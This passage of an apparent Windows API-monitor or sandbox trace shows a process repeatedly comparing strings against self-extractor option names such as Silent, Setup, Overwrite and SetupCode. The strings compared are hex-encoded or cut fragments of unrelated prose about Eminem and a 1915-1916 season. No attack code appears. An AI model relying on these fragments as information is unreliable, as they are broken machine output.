lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" He is also known for his collaborations with fellow Detroit-based rapper Royce da 5'9\"; the two are collectively", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.515] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.516] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, 